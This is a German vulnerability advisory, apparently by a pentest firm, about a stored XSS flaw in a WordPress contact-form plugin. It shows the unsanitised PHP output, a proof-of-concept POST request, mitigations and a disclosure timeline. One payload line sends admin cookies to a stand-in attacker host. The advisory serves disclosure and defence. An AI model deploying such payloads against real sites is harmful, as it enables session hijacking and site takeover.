Cross-Site Scripting in ContactForm Pro Plugin
Eine Stored Cross-Site Scripting (XSS) Schwachstelle im ContactForm Pro WordPress Plugin ermöglicht es nicht-authentifizierten Angreifern, schadhaften JavaScript-Code über manipulierte Formulareingaben in die Administrationsoberfläche einzuschleusen.
Betroffene Software
- Produkt
- ContactForm Pro WordPress Plugin
- Betroffene Versionen
- <= 4.2.1
- Hersteller
- FormCraft GmbH
- CVSS-Vektor
- CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
Technische Analyse
Die Schwachstelle befindet sich in der Verarbeitung von Formulareingaben im Admin-Dashboard des ContactForm Pro Plugins. Eingaben aus dem Feld message werden ohne ausreichende Sanitisierung in der Admin-Ansicht gerendert.
Betroffener Code
Der folgende Code-Abschnitt zeigt die fehlerhafte Verarbeitung:
// Verwundbarer Code (vereinfacht)
function render_submission($data) {
// Fehlende Sanitisierung
echo '<div class="submission-content">' . $data['message'] . '</div>';
}
Angriffsvektor
Ein Angreifer kann über das öffentlich zugängliche Kontaktformular einen Payload wie den folgenden einschleusen:
<img src=x onerror="fetch('https://attacker.example/steal?c='+document.cookie)">
Dieser Code wird ausgeführt, sobald ein Administrator die Formular-Einsendungen im WordPress-Backend betrachtet.
Auswirkung
- Vertraulichkeit: Session-Cookies des Administrators können exfiltriert werden
- Integrität: Über die gestohlene Admin-Session können beliebige Änderungen an der WordPress-Installation vorgenommen werden
- Verfügbarkeit: Keine direkte Auswirkung
Proof of Concept
Nach Ablauf der Responsible-Disclosure-Frist veröffentlichen wir einen reduzierten PoC:
POST /wp-json/contactform-pro/v1/submit HTTP/1.1
Host: target.example
Content-Type: application/json
{
"form_id": 1,
"fields": {
"name": "Test User",
"email": "test@example.com",
"message": "<svg onload=alert(document.domain)>"
}
}
Empfohlene Maßnahmen
- Sofort: Update auf Version 4.2.2 durchführen
- Kurzfristig: Content-Security-Policy Header implementieren
- Langfristig: Regelmäßige Penetrationstests der WordPress-Installation durchführen
Wir testen Ihre Web-Applikationen auf genau solche Schwachstellen. Erfahren Sie mehr über unsere Penetrationstests →
Responsible Disclosure Timeline
-
Schwachstelle entdeckt durch AWARE7 Researcher
-
Hersteller informiert (Responsible Disclosure)
-
Hersteller bestätigt Schwachstelle
-
Patch veröffentlicht (Version 4.2.2)
-
Advisory veröffentlicht
Empfohlene Gegenmaßnahmen
Update auf ContactForm Pro Version 4.2.2 oder höher. Als Workaround kann die HTML-Ausgabe in der Administrationsoberfläche temporär deaktiviert werden.
AWARE7 Leistung zum Thema
Schützen Sie Ihre Systeme proaktiv — durch professionelle Sicherheitstests erkennen wir Schwachstellen wie diese, bevor Angreifer es tun.
Web-Applikations-Penetrationstest